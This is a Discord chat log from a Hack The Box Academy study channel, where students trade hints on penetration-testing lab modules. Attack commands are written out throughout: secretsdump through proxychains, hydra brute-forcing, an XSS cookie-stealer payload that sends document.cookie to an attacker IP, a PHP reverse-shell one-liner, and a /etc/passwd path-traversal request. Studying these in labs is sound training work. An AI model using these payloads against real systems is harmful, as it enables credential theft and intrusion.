Webserver IP : 10.129.202.242,172.16.5.100

I ran this on webserver: netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.202.242 connectport=445connectaddress=172.16.6.3

in proxychains.conf i commented out the socks4 127.0.0.1 9050
and added socks5 10.129.202.242 8080

And when i ran this command proxychains secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/tpetty@172.16.6.3 -use-vss
I get this error:

[proxychains] Strict chain ... 10.129.202.242:8080 ... 172.16.6.3:445 <--socket error or timeout!
[-] RemoteOperations failed: [Errno Connection error (172.16.6.3:445)] [Errno 111] Connection refused
[] Cleaning up...*

Can anyone help me with am i missing or doing wrong?
Thanks

[naive field]

what could be the error here?

[analog dock]

Not being able to extend an instance might be the most annoying thing ever

[acoustic owl]

|| UserSPN ||

[leaden quail]

got serveral errors...

[timber ore]

@acoustic owl Can you please take a look at my question. Thanks

[timber ore]

@acoustic owl

[naive field]

I also checked if windows defender is enabled but its not

so i really dont know what else can be the problem

i also restared the machine

and tried but same stuff again

[timber ore]

Put the error and command in chatgpt and see if it can help

[naive field]

i did man

it just says check if powerview path is good

and it is lol

[timber ore]

lol

which section is it?

[naive field]

AD enum and attacks, assement part 2

last part

[timber ore]

oh! you are ahead of me

can you help me with my question

[timber ore]

this one

[rustic sage]

??

[timber ore]

No need to go for CCNA or N+ if you understand the common concepts related Networking

CCNA is a very separated course, I am certified CCNP and i never needed it, it was just a waste of time

[rustic sage]

so ,is network fundmentals module is enough?

[timber ore]

I believe so

[rustic sage]

ok thanks

[obsidian sundial]

how to i completely clear my kali linux space and reset it to new

[naive field]

ffs why is this not working :((, i tried uploading a new powerview but nothing. i also tried getting a rev shell instead ov evil-winrm but same stuff

[azure verge]

Something weird is happening with my VPN connection on HTB academy. I am on eu-academy-1 server and I'm not able to make any requests on port 80 (and possibly 443) on any of the targets when connected via VPN. I can access them from the in-browser VM. Is anyone else facing this issue?

[obsidian sundial]

guys i really need help how do i delete kali

i want to delete all of my storage in kali and make it new

somebody help

please

[acoustic owl]

In your proxychains should be the IP 127.0.0.1 instead of the IP 10.129.202.242

[naive field]

i also checked the md5sum values and the powerview is not corrupted

[rustic arrow]

anyone has any tip for going faster on password cracking network services? it's taking forever

[DATA] max 4 tasks per 1 server, overall 4 tasks, 94044 login tries (l:1/p:94044), ~23511 tries per task
[DATA] attacking ssh://<ip>:22/
[STATUS] 41.00 tries/min, 41 tries in 00:01h, 94003 to do in 38:13h, 4 active

I'm using pwnbox to decrease the network lag already

[analog dock]

I can’t seem to figure out how to mount the backup vhd in the password attack hard labs 😓

[obsidian sundial]

how to i reset my kali and delete everything to make it like new

[heady tusk]

make sure the VPN you're using matches the one selected on the academy website

[heady tusk]

which module/section?

[heady tusk]

well I know how to do it on windows but I assume you're doing it on linux?

[obsidian sundial]

guys how do i reset my kali linuc

*linux

[harsh patrol]

either reinstall or run from docker in the first place

[obsidian sundial]

how

[harsh patrol]

try #1024429874246590575 , this is the wrong channel

[naive field]

man this is bullsh*t

its not woring

working for no reason

[acoustic owl]

It is important that you know how networks work. You should know the OSI model and what happens on which layer. This helps enormously.

[naive field]

i even downloaded the latest powerview and transfered it from my host to ssh then from ssh to machine host

same bs

[rustic arrow]

https://academy.hackthebox.com/module/147/section/1391

[naive field]

[naive field]

can i dm you maybe about my problem? except if ur still on ur vacation :D

[acoustic owl]

I am still on vacation, but currently online. Sure, send me a DM.
I have lost the overview currently here in the channel. No idea who has what problem.

[heady tusk]

yeah look for other available services. ssh is hella slow. also make sure you use a solid amount of threads

[rustic arrow]

The question asks for that
Use this wordlist to brute force the SSH password for the user "sam".

[heady tusk]

I have that happening in my dms all the time 😅

[analog dock]

Yup, in pwnbox…

[heady tusk]

I know, but there are other services that can be bruteforced faster. I fell for the exact same trap

[autumn pilot]

filter out words starting with b/B

[analog dock]

Absolute horrendous lab

[acoustic owl]

This is easier because everything always belongs together.

[rustic arrow]

cool, thanks

[rustic arrow]

thanks, it's a good idea also

[heady tusk]

yeah that's why I always pull people over to dms

[analog dock]

Is it even possible to use gparted in pwnbox?

Just closes instantly for me

[acoustic owl]

Well, it's nice when others can profit a little from it as well

[heady tusk]

true I guess, but it's just too much going on usually

[foggy light]

Huge +rep for @acoustic owl... bro being the community hero. Literally helped with my CPTS path

[rustic arrow]

44 tries in 00:01h, 21068 to do in 07:59h, 4 active lol cool, I hope I wont need bruteforce too many times in cpts

[analog dock]

Is it even possible to mount the vhd in pwnbox? Or do I need to use something external

[acoustic owl]

i think it is possible

[analog dock]

Been stuck trying to do it for 4 hours now

[acoustic owl]

https://itsfoss.com/mount-encrypted-windows-partition-linux/

[analog dock]

Tried that as well, but doesn’t matter what partition I pick

Neither works

[sweet lava]

I am having this same exact problem right now. Any tips?

[acoustic owl]

i did it in my vm

sudo apt-get update; sudo apt-get install dislocker -y
sudo mkdir -p /media/bitlocker
sudo mkdir -p /media/bitlockermount
sudo losetup -f -P Backup.vhd
sudo dislocker /dev/loop0p2 -uPASSWORDHERE -- /media/bitlocker
sudo mount -o loop /media/bitlocker/dislocker-file /media/bitlockermount

[analog dock]

No dice

The only partitions that show are sda1 and 2 and neither works

[heady tusk]

can you give us exact steps to reproduce? error seems weird

[sweet lava]

It's weird, it's like that other ticket just doesn't exist. I see it there when I list hidden files, but I can't operate with it or even copy it

[heady tusk]

I'll get to this in a few minutes. don't worry, didn't forget you

[sweet lava]

No worries bro, I just now got it. Didn't do anything different. Just listed the files again and I SWEAR the ticket file name changed 😂 Used that one and it worked

[heady tusk]

ooof xD
Well glad you got it 😄

[analog dock]

This lab is starting to piss me off now

[fathom pendant]

Command not found looks like the powerview/active directory modules aren't running

[analog dock]

Literally spent more time mounting that damn thing than doing all of the module

[sweet lava]

I'm having a ton of issues with Password Attacks - Pass The Ticket from Linux - "Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01" question if anybody here gets the chance. Not really even sure where to start here.

[fathom pendant]

Look for the service that controls the realm

That directory can be useful

[sweet lava]

referring to the ||realmd ||directory?

[fathom pendant]

No, I'm referring to the daemon/service that you see when you type realm

[sweet lava]

I found out what service you mean, and I'm in that directory, and I suppose I'm supposed to be looking for a ccache file, but I have either not found anything or I'm not sure what I'm looking for.

[fathom pendant]

Just look around and you'll find it. That directory was just the start

[zinc marsh]

just mount it in windows

linux is too complicated

[proud pine]

That's what I ended up doing. Like 3 minutes of work, if you do this lol

[heady tusk]

same

though if anyone knows a linux way I'd love to add that to my notes 😄

[zinc marsh]

.

[heady tusk]

ah true I forgot lol

thanks for the reminder

[zinc marsh]

it never worked for me but well lol

[analog dock]

You connected to the instance with a windows vm and moved the backup to there?

[heady tusk]

shared folder between kali vm and windows host for me

[cyan ginkgo]

so in the upload skill assessment i found a way to svg read source code but i cant seem to find the path to /upload.php

[sweet lava]

I'm sorry I'm still very lost. I feel like there is something fundamental that I'm missing

[heady tusk]

just tested the commands from payloadbunny. works for me

[sweet lava]

Just got it, thanks!

[zinc marsh]

i just transfered the vhd to windows

and mounted it

[zinc marsh]

i sent it to me by mail

[heady tusk]

lol

that's about as dumb as me copying commands between host and VM via shared folder cause my copy paste is broken and I can't find a way to fix it lol

[spiral scaffold]

Hello all.

I had a question about the src code of a metasploit exploit used in one of the modules:
https://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/wp_simple_backup_file_read.rb

if I understand this correctly, I believe it is making a GET request to this url:
GET /wp-admin/tools.php?page=backup_manager&download_backup_file=../../../../../../etc/passwd HTTP/1.1

I was curious about the need for line 53 since I was able to perform directory traversal without including that particular query.
I used this instead:
/wp-admin/tools.php?download_backup_file=../../../../../../etc/passwd HTTP/1.1

Thanks!

[heady tusk]

if you haven't found upload.php, how are you reading source code then?

[heady tusk]

I would assume it works without line 53 then. looks like that parameter isn't necessary to download a file.
Those modules aren't perfect, so there is a solid chance the parameter just exists because it was in the URL that the creator ended up with for his exploit.

[spiral scaffold]

Gotcha.
Thanks for the clarification!

[heady tusk]

sure thing 🙂

[analog dock]

New issue when trying to mount it there

[proud pine]

Something go wrong during transfer? md5sum match?

[analog dock]

I guess something went wrong

I used this way

[proud pine]

switch to binary mode?

[analog dock]

Yup

But the md5sum is incorrect yeah

[thorn urchin]

Hi david

[analog dock]

That’s a user in the lab 🥲

[thorn urchin]

the lab environment might not support mounting the drives

[analog dock]

Got it👍🏼

[thorn urchin]

I was stubborn and just googled hard about how to mount it in linux

[limber veldt]

Guys i need help

[thorn urchin]

with a module surely

[limber veldt]

Can yall teach me how to hack a discord servee

[thorn urchin]

no

read #rules and #welcome

and actually read it

this channel is for module discussion for HTB Academy

[limber veldt]

I just wanted payback

Sorry for disturbing yall

[thorn urchin]

Do I look like I care?

read the rules

This whole server isnt for that kind of stuff anyways. So piss off

[analog dock]

Finally 💀😫

[blazing light]

hey

On the Upload skill assessment, did you have to figure out how to make the broken upload feature to work?

In my assessment, there is nothing happening after clicking on submit.

[heady tusk]

umm can you give me a screenshot of what you mean?

[blazing light]

ok can i dm?

[heady tusk]

sure

[blazing light]

thanks

[small sage]

hello, stuck on AD Enumeration & Attacks -Skills Assessment Part 2
question: Use a common method to obtain weak credentials for another user. Submit the username for the user whose credentials you obtain.
been hunting for a while and don't seem to be getting anywhere, any hints/nudges?

[heady tusk]

what kind of attacks did you try so far?

[small sage]

secretsdump, snaffler, lazagne, shares enumeration, currently working through powerview
edit: also tried password spraying

[heady tusk]

||password spraying|| seems like a good idea

[small sage]

can I dm you?

[limber river]

if I remember there's a green button

[blazing light]

my instance was completely broken had to restart my pwnbox.
But yes you remember correctly.

[heady tusk]

Ah sorry wasn't paying attention. I gotta go sleep, but I'll answer tomorrow if ya want

[full star]

Hey. I'm just getting started and am in the HTTP Fundamentals module, and I have the following "question":
The server above loads the flag after the page is loaded. Use the Network tab in the browser devtools to see what requests are made by the page, and find the request to the flag.

I've found the request, but I don't know what header info the question is looking for. I've tried filename, initiator, method.

[heady tusk]

A flag usually has the format HTB{random_stuff_here}

[full star]

I see. Thank you.

[opal storm]

hello, for active directory enumeration and attacks skills assessment 2 - im struggling with the first question with finding a hash for a user. ive tried some techniques covered in the beginning of the module but had no luck. any tips?

[thorn urchin]

try every technique

[opal storm]

lol i wish i knew how to do spoilers to say what ive tried

[thorn urchin]

either way, its always worth trying everything that could be relevant. HTB loves to throw that one small paragraph where it offhand mentions something you can try at ya

that said for assessment 2 its not one of those, its one of the basic obvious things you should try first kind of stuff

[opal storm]

so the first question wants us to find a hash for a user so that narrows down some of the techniques to try, at least in my eyes and i cant think of anything else i didnt try. unless i did something wrong

[low vine]

CBBH made me realize my note taking is bad and I need to visually map out everything. I 100% am doing this with CPTS material

its taking me way longer but hopefully stops me from making those misses like @thorn urchin is talking about

[blazing light]

hey can i ask you for a nudge on Unrestricted File Upload skill assessment?

[small sage]

No worries, got past it on my own, a little stuck on the sql part but I’m gonna take a break for now, if I have trouble when I pick it up next I’ll probably send you a message lol

[onyx rapids]

BLIND SQL INJECTION - Skills Assessment : Anyone able to give me a hint to find the injection point? I tried sqlmap using the most aggressive settings, on everything, including the cookies and user agent.

Ok, so sqlmap is a bit strange. I had to force it to --dbms "Microsoft SQL Server"

[blazing light]

Unrestricted File Upload Skill Assessment:
I have successfully bypassed the filters, the next challenge is to read upload.php. I have tried xxe via svg, but the only thing that I receive back is the base64 encoded payload that we sent.
Can someone give me a hint on what to do here?

I have already tried the xxe payload with php filters.

[lavish needle]

Currently stuck on the Broken Authentication module - Weak Bruteforce Protections section - on question 2. I've tried using the X-Forwarded-For header and inserting the ||target's ip, server name, and the php/x.x.xx|| but with 0 luck. Used Burp, curl, and even hydra. Any help would be appreciated!

[low vine]

Looking to see if I took notes on this one,

[timber ore]

Can you please help me with last question of AD Enum & attacks Part 1, I DMed you

[misty current]

There's just a handful of techniques that allows you get hashes with no account compromise.

[lavish needle]

@low vine fs lmk

[misty current]

Assuming, you've tried that too. I think I might have a clue where you might have gone wrong in that but, yeah

[low vine]

@lavish needle I reformatted all my notes dont have individual questions / methodologies in here anymore 😦

[lavish needle]

@low vine haha no worries bro thx anyways!

[analog dock]

😰

[analog dock]

Mounting that share took me longer than all of the module😂

That’s what I ended up doing as well

Have a NUC at home i rdp into

Made a kali vm and used a shared folder

[timber ore]

I'd like to give a big shoutout to @acoustic owl . He is truly outstanding - incredibly helpful and incredibly kind. He is very helpful and I am grateful for his help.

[wild dragon]

@acoustic owl , he is a great big bro!

[round gale]

hello, in the linux privilege escalation room, cron job abuse room, i found the file which can be edited and runs a cronjob. but where do i find, how that particular cronjob is scheduled?

oh i got it, thanks

[wild dragon]

https://crontab.guru/

@round gale here you are

[round gale]

thanks!!

[wild dragon]

@round gale
and this link for linux command explaining, it's good for you, bro
https://explainshell.com/

@round gale and Local Privilege binaries for Linux here
https://gtfobins.github.io/
and windows here
https://lolbas-project.github.io/#

[slim pelican]

any further tips on this? Tried running it prior to setting breakpoint and still get the same errors you posted above.

[rustic sage]

Hello im in module Paswords attacks lab-medium i have 2 users ja---- and de--- but i cannot do the privesc somebody can help me?

[slim pelican]

dw got it now

[rustic sage]

somebody can help with passwords attacks lab-medium please?

[acoustic owl]

Have a look at the files of user de..... If you look closely, you will find an interesting file, which, how could it be otherwise, you have to crack first.

[rustic sage]

i have 2 users

jaxxx and dexxx

[acoustic owl]

use the User dexxx

[rustic sage]

i use it

but i dont know how to do trhe privesc

[acoustic owl]

You need to find a file

This file is the "key“

[heady tusk]

That's an awesome hint. well done 😄

[opal storm]

I must be doing something wrong then. I tried different techniques and tools

[misty current]

Make sure you're aware of the network you're in.

[rustic sage]

i dont know what file i have to found

Anyone could help me
Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. Performed dig on all subdomains (dig any @white rock subdomains) ,Used subbrute on inlanefreight.htb and Whenever I try to do a AXFR transfer it fails. Tried adding subdomains to my hosts file as well but still doesnt work

[heady tusk]

Usually, there are two ways to authenticate as a user

[rustic sage]

a password an id_rsa

[heady tusk]

So you zone transferred inlanefreight.htb and then subbrute on the subdomains?

[rustic sage]

yes

[acoustic owl]

ANY is not the best idea
https://blog.cloudflare.com/deprecating-dns-any-meta-query-type/

[heady tusk]

And where did your zone transfer fail?

[rustic sage]

; <<>> DiG 9.18.12-1-Debian <<>> axfr inlanefreight.htb @10.129.203.6
;; global options: +cmd
; Transfer failed.```

[acoustic owl]

Have you ever looked if this file exists?

[heady tusk]

Now I wish I had notes on this but I thought that zone transfer should work. I'll check in a minute

[acoustic owl]

Remember that you can configure zones to allow zonetransfer only from certain servers.

[rustic sage]

i search this grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1" and this find / -name *id_rsa* 2>/dev/null but only is the id_rsa of dexxx user

[heady tusk]

Afaik any is taught in the module. Might wanna write an erratum

[acoustic owl]

What do you expect from adding a subdomain to your hostsfile?
What exactly does the hosts file do?

[acoustic owl]

ANY can work, but depends on the configuration

[heady tusk]

Fair

[acoustic owl]

are you sure?

Private keys in the .ssh directory are usually used to log in as another user somewhere. Right?

[sacred ermine]

did smn complete documentation & Reporting skills assessment??

[acoustic owl]

Currently, 390 people have completed this module.

[rustic sage]

got it!

[sacred ermine]

very little group of people actually

this must be smth medium considering skills assessment, it is not easy tho

[acoustic owl]

There are modules where there are even fewer people

[sacred ermine]

I am guessing it is AD & Password attacks 😄

[rustic sage]

how do you see how many users have a badge?

[low vine]

Broken Auth in CBBH path made me want to cry

[west night]

Note taking is important. taking good notes has helped me a lot already so I will definitely take this module 🙂

[sacred ermine]

this module freaking me out can you give another hint, I fell like useless shit but anyway I have to complete it

[heady tusk]

just tested. looks good and should work

[acoustic owl]

AD Enum & Attacks 652
Password Attacks: 982

[sacred ermine]

not much either

[acoustic owl]

If you want to share the badge, you will get a link. Open it

[low vine]

Whats the total on CPTS passes so far is it still under 100?

[sacred ermine]

It is actually good to know how many CPTS certs are earned so far

is there any source to check it?

[low vine]

I gotta get the CPTS next, feel very behind on AD / my AD abilities

[acoustic owl]

Crying does not help 😉

[heady tusk]

😄

[low vine]

I shed tears it took me like 4 days of throwing a tantrum

[sacred ermine]

can you give a hint on skills assessment pls, Documentation & Reporting three dayys straight in a row, and not anything out of it

[acoustic owl]

Sure, send me a DM

[rustic sage]

can yo do this wit cbbh?

[low vine]

I was trying to find it i only see the cert

[acoustic owl]

No, only with the Badges

[sacred ermine]

got it

[low vine]

^ i'm looking now wheree do you find that one?

[acoustic owl]

https://academy.hackthebox.com/my-badges

[low vine]

weird thats exactly what im looking at lol

[autumn pilot]

not quite, click on "Get a shareable link" below the buttons

[low vine]

solid thanks

[autumn pilot]

157

[low vine]

I was like wtf am i missing lol

Damn I was 142 about a month ago

[acoustic owl]

If you tell us here what brings tears to your eyes or gives you tantrums, we might be able to help you.

[low vine]

Well when I walk back through that modules and relive that pain I'll come here

but for now.......we not back on it yet

[heady tusk]

Do we get a live ticker then? 😛

[acoustic owl]

The numbers of the badges are not live numbers. No idea how often the numbers are adjusted. Once a day?

[sacred ermine]

can you check your dm pls

[heady tusk]

nah I meant for when Roll For Combat relives his pain

I know that it doesn't update that often

[low vine]

Ill have to look at CPTS path hold up

cause i feel like ive lost it all lol I'd say 1.5 months

[sacred ermine]

it says, unable to send msgs btw, I guess bc you set some certain rules

[acoustic owl]

I have received your message.

[dapper star]

Can someone help me with:

• Web Attacks: Blind Data Exfiltration (XXE)

I currently have this, but it is not giving me any response...

[summer lava]

Sure.. let's make it simple.. DM's pls

[acoustic owl]

What is in the index.php file?
Port 8000 on your machine

Oh, Simple was faster

[dapper star]

The php they provide in the section

[autumn pilot]

is your php server started in the same directory as the xxe.dtd file, and does it include the index.php

[misty current]

^

[rustic sage]

Got it !

[pulsar needle]

Does anybody have a recommended resource to keep learning about Active Directory after doing the "Introduction to Active Directory" module?
That module left me with more questions than answers

[thorny garden]

I am on the getting started module trying to run an nmap scan on the web server in the Public Exploits section. It comes back saying the host is down. Is this correct??

[acoustic owl]

https://twitter.com/hackthebox_eu/status/1529122562038456320?s=61

Hack The Box (@hackthebox_eu)

Want to learn all about #AD? This guide will help you go from zero to hero! 🦸
✅ #HTBAcademy to introduce you to #ActiveDirectory principles
✅ #HTB Machines for some hands-on practice
✅ Offshore #ProLab simulating real-world corporate scenarios
#CyberSecurity #Hacking

Likes

153

Twitter · May 24, 2022, 3:30 PM

[narrow solar]

good morning friends 😊 at Password Attacks Lab - Medium can i get a hint how to interact with the service on the host, since the port is closed i cant use hydra and i dont think i can use http://localhost:####/

[acoustic owl]

maybe http://targetip/####/ ?

[narrow solar]

i tried that 😅 let me check again

[autumn pilot]

i can't recall a step that has http in it for that lab

[pulsar needle]

Thx

[acoustic owl]

Are you connected to the VPN?

[narrow solar]

it didnt work

[narrow solar]

its not http, but another service in the doc file

[autumn pilot]

if the port is not up, then you are looking at the wrong thing

there is something that stands out and can be used

[narrow solar]

its not working 😅 i am already at j****** user, i searched for everything, history, conf files, scripts and nothing there, so i am almost sure its something else in the document, but the service mentioned there is not running

[acoustic owl]

Maybe you need to access the service locally 😉

[narrow solar]

i already did it but was using uppercase 🤦 its always the simple mistakes

thank you so much 🥰

[quick cloud]

question before I dive into the rabbit hole do I need to get a windows virtual machine to mount the drive on password attacks - hard

nvm found info

[gaunt monolith]

Hi I’m a student in HTB academy Im wondering If it’s important to subscribe in HTB lab or machines to Improve my skills when finished module or waiting when finish cpts path ?

[thorny garden]

Ger the subscription once you have got to the 'nibbles' part of the second module

[gaunt monolith]

so I’m late 🥲 I will activate my subscription and start with machine include subject in our module finish

[quick cloud]

password attacks - hard down was a great machine did not enjoy the curve ball I got thrown at the end though haha

[modern falcon]

Module: PIVOTING, TUNNELING, AND PORT FORWARDING
Section: RDP and SOCKS Tunneling with SocksOverRDP
https://academy.hackthebox.com/module/158/section/1439
I have been able to set up port forwarding from the attacker host to the pivot host then to victor's host, but when I tried to connect to jason's host the connection always reset. The hint says that jason is a local user and there might be a defender. Any hint to bypass the defender?

[silent beacon]

Would someone be able to provide me a sanity check or a nudge for: Web-Attacks, Blind Data Exfiltration? I'm able to get the server to request the DTD I'm hosting, however, I can never get the flag contents. I've also tried to get the contents from /etc/passwd, but can't get that to dump either. I've cross checked what I'm doing with portswigger and a few other write-ups on OOB-XXE and I'm not sure what I'm doing wrong at this point

[vital adder]

it's depend on you and the prolabs on HTB are super good for learning AD (no idea about web stuff if that's what you're looking for)

[vital adder]

i don't think there is defender on jason box but there is on victor and you can just disable that

[vital adder]

hint ||base64|| or if you already done that and still need help shoot me a dm

[surreal beacon]

anyone familiar what service i should use ? https://academy.hackthebox.com/module/112/section/1078

floofd?

[tawny zealot]

yes?

[surreal beacon]

can u help ?

[tawny zealot]

uhhh, I was just about to ask for help myself (session hijacking chapter in the xss module, the server connects but the cookie it submits is always empty), what is the problem?

[tawny zealot]

When I click on the link myself I do indeed get a cookie in the ouput of the PHP server, just that its my own cookie

[heady tusk]

well run nmap and look around. something should stand out

[heady tusk]

then it should work theoretically

[tawny zealot]

||10.129.59.218:48226 [200]: GET /index.php?c=
||

that is what I get when the Server "clicks" on the link

||10.10.14.170:48328 [200]: GET /index.php?c=abcPHPSESSID=ipobk3ea8mt9hmm05jp3f||

and that is what it looks like when I do it

the 'abc' in the front is just because i wanted to see if it would show anything at all, thats why I added it in the script.js

[heady tusk]

so you're hosting some kind of cookie stealer and it does load it but something breaks?

[surreal beacon]

like what?

ftp?

i logged in ftp

but what next

like put the public key inside?

[tawny zealot]

Yes, it is a reflected XSS attack, with a bot that is supposed to click on any link you send it, then it tries to load an image, which makes the victim load a script.js from my IP, which in turn does this ||new Image().src='http://10.10.14.XXX:80/index.php?c='+document.cookie;|| - what creates a GET request on a PHP server I host, with the cookie as a parameter

[tawny zealot]

But I only works when I click on the link, when the bot does it just prompts an empty parameter aka cookie...I am wondering if I am somehow supposed to make the bot login first, so that it has a cookie to begin with, but I have no idea how I am supposed to do that

[tawny zealot]

I don't know the module out of the top of my head, but is there a ssh private key somewhere on the ftp server maybe?

[heady tusk]

payload does seem fine. not sure why it's partially URL encoded but that should work nonetheless

[surreal beacon]

i tried to find it but nope nothing

@heady tusk if u have finished it please give me tips

i hate being stuck in a module

[heady tusk]

no need to do that. might be worthwhile to restart the machine and see if the bot is broken

[heady tusk]

the private key guess seems pretty accurate 😉

[tawny zealot]

that was my idea too, but doing so 2 times didn't change anything :/

[heady tusk]

hmm then give me some more detailed steps of what you did, which payloads you used, etc. Maybe I can spot something

[west night]

Hi @acoustic owl . I am on the medium lab in the footprinting module. I successfully found the credentials in the NFS share, In addition was able to login to the RDP server. However I am unsure what to do next. I tried to use the details to log into the email server but connection was refused. I tried to log into the sql server on the rdp but this was not successful. In addition, I tried to login remotely (see terminal) but this was also unsuccessful. It seems like I have gone down a rabbit hole. Would you be able to guide me in the right direction or give me a hint? Thanks.

[sacred ermine]

has anyone done Attacking Thick Client Applications?? I got big trouble with it I cannot catch a process with procmon, so basically at the beginning of it, how did you guys manage to complete it that's mad

[surreal beacon]

@heady tusk

could u help me?

[heady tusk]

You still need to look around a bit more. if one user can't access what you're looking for, maybe try to find another 😉

[heady tusk]

sure

[sacred ermine]

has anyone done Attacking Thick Client Applications?? I got big trouble with it I cannot catch a process with procmon, so basically at the beginning of it, how did you guys manage to complete it that's mad

did you complete this? I am stuck at the beginning

[subtle glen]

attacking common services easy lab.
with an nmap scan i found there is an ftp server up, medusa is extremely slow and hydra completely breaks if i try to use it with more than 1 thread so i cannot attack the ftp server, i specifically get this error code: ||[ERROR] Not an FTP protocol or service shutdown: 550 Too many connections, please try later...||
there is an smtp server too, i tried smtp-usr-enum and found a user named ||fiona|| with their email, i tried brute forcing their password this this command: ||hydra -l fiona -P Downloads/pws.list -f 10.129.52.79 pop3|| after a few seconds it gets stuck here: || [DATA] attacking pop3://10.129.52.79:110/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
C

there is an sql db too but its completely useless to me without creds.
may i please have some help?

[heady tusk]

idea seems good. hydra doesn't give much output so it may appear stuck while actually doing work

[sacred ermine]

I hate Attacking Thick Client Applications, it doesnt work fvck

[misty current]

Where are you stuck?

[subtle glen]

the "C" was generated automatically, when i press enter it completely closes

[sacred ermine]

at the beginning

[misty current]

use filters to get what you want on procmon

[heady tusk]

ugh what? hard to tell what the issue is from that output, but googling the error messages often helps

[fossil tendon]

Question does your rank or level automatically update when you rank up on the website. Wasn’t sure where to ask this question

[misty current]

https://discord.com/channels/473760315293696010/1024429874246590575

[subtle glen]

i noticed that it tries to attack port 110 while the smtp server is on port 587, the attacking smtp module only had this command regarding attacking, how can i tell hydra to attack port 587? google did not help either

[sacred ermine]

does not make sense

how that filter is used

[tawny zealot]

keep running hydra on the fiona user, when I did the module I was annoyed that the passwordlist in the ressources didn't work but I got an almost instant hit with rockyou.txt

[sacred ermine]

like man there is no description how to use that how am I supposed to get it

[heady tusk]

you're currently attacking pop3. you can simply change that to smtp

[tender acorn]

I'am at Module Getting Started at Knowles check.

I have the user Flag. the root is left.
I know Bocuse sudo -l ||(ALL : ALL) NOPASSWD: /usr/bin/php||

I try to add the ||/usr/bin/php a shell|| it dont work.
Is this the right way?
becouse i dont find a kernal exploit and i dont think they try to hide sume exploit in a programm.

what other whay give it? How i can exploit ||/usr/bin/php||? i dont finding from google

[zinc marsh]

https://gtfobins.github.io/#php

[misty current]

You're supposed to figure it out lol

[sacred ermine]

ok smart kid

[misty current]

Give it a few try and if you still can't find it, you can DM

[zinc marsh]

what is his doubt

[tender acorn]

i think this helps thanks

i try it

[misty current]

.

[zinc marsh]

dont they show u the page gtfobins in the module?

[sacred ermine]

and on top of it I keep getting this error: The type initializer for 'System.Management.Automation.Runspaces.InitialSessionState' threw an exception.
'c:\programdata\restart-service.exe' is not recognized as an internal or external command,
operable program or batch file.
Could Not Find c:\programdata\restart-service.exe

like bro, u better kill me...

5-6 time I am resetting the instance

[zinc marsh]

.

[tender acorn]

can be true

but i try ||php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&3 >&3 2>&3");'|| and get only a normal user shell not a root

[zinc marsh]

why u doing that

[zinc marsh]

u have this rigth

[tender acorn]

i know i try to get root

i find out || (ALL : ALL) NOPASSWD: /usr/bin/php|| when i understand right i can do manipulate this to give me root rights or i am wrong

[zinc marsh]

yea

[zinc marsh]

an that is to get a reverse shell btw

[tender acorn]

but it givs reverse shell whit root rights?

[sacred ermine]

I did get it guys

what I was doing before was right, but I got this error multiple times: c:\programdata\restart-service.exe' is not recognized as an internal or external command

[sacred ermine]

can you help me pls bro

I set right paramaters for the procmon, so I now can see where .bat file is being saved, but I am getting this stuff c:\programdata\restart-service.exe' is not recognized as an internal or external command

[sacred ermine]

bro

check my msgs pls

[zinc marsh]

i think u dont know what this means

[sacred ermine]

how did you solve it bro

[acoustic ibex]

I have a question about 'Pivoting, Tunneling, And Port Forwarding' module
Section 'Dynamic Port Forwarding with SSH and SOCKS Tunneling'

Dynamic forwarding through SSH, in the SSH command it was shown:

Konafa@htb[/htb]$ ssh -D 9050 ubuntu@10.129.202.64

And in proxychains.conf they added the entry:

Konafa@htb[/htb]$ tail -4 /etc/proxychains.conf

# meanwile
# defaults set to "tor"
socks4     127.0.0.1 9050

Isn't it supposed to be socks4 <victim_IP> 9050 not 127.0.0.1?

[proud pine]

No, this is correct for how the SSH proxy works. It doesn't open it remotely, but locally, and pipes your traffic through the SSH connection.

This is actually a benefit, since no additional ports need to be opened on the victim.

[acoustic ibex]

Oh I see, so the server and the client are both on my machine, socks server on 9050 and client whatever tool sends TCP packets through proxychains, and the same time the victim machine doesn't spin up any listeners

I see, thank you so much

[sacred ermine]

why are u silent now?

[tender acorn]

What exactly

[zinc marsh]

sudo -l

[foggy light]

Module: Kerberos Attacks
Section: Unconstrained Delegation - Users

not sure what Im doing wrong

I have added spn using this for user callum.dixon
python addspn.py -u inlanefreight.local\\carole.rose -p jasmine --target-type samname -t callum.dixon -s CIFS/roguecomputer.inlanefreight.local dc01.inlanefreight.local

Now how am i suppose to receive the tgt?
I dont have hash for compromise target. I have only the password, I tried with that but I didnt receive any TGT

[sacred ermine]

guys

Pls help me like what is this

I cannot move on

I stuck for a few days here

[kind turret]

Convert the password to its NTLM hash equivalent.

[foggy light]

getting this error with secrets dump

[kind turret]

DM me.

[clever sky]

Hello everyone! I need some help... I am stuck on the session: Value Fuzzing of the ATTACKING WEB APPLICATIONS WITH FFUF module. I am getting the same results for all 1,000 IDs:
[Status: 403, Size: 334030, Words: 114, Lines: 113, Duration: 29ms]
Can someone assist?

[acoustic owl]

What exactly have you tried? Which parameter are you trying to fuzz?

[zinc marsh]

i hadnt seen this +

[zinc marsh]

.

[sacred ermine]

ok, now you r claimining that I somehow offended you, I just did simple compliment bro

[zinc marsh]

can u send the link of the module? and what are u trying

[zinc marsh]

it doesnt offend because u didnt say it to me

[clever sky]

here is the link
https://academy.hackthebox.com/module/54/section/505

[zinc marsh]

but if u dont respect a guy which is helping u why should i help u

[sacred ermine]

🤦‍♂️

[thorn urchin]

being a dick is a terrible way to get help

[clever sky]

I am trying to Fuzz the ID for the user:
ffuf -w ids.txt:FUZZ -u http://admin.academy.htb:31125/admin/admin.php -X POST -d 'id=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded'

[zinc marsh]

did u create the wordlist with the ids?

[thorn urchin]

good luck figuring things out on your own

[clever sky]

Yes I did. 1,000

[zinc marsh]

u missing the -fs

to filter

[clever sky]

I have tried with teh -fs and without

[zinc marsh]

or ms or whatever filter u have found

that might be useful

[clever sky]

they are all the same results

[zinc marsh]

i thing that one was with -ms but not sure rn

[clever sky]

[Status: 403, Size: 334030, Words: 114, Lines: 113, Duration: 24ms]

[sacred ermine]

I said that I already did

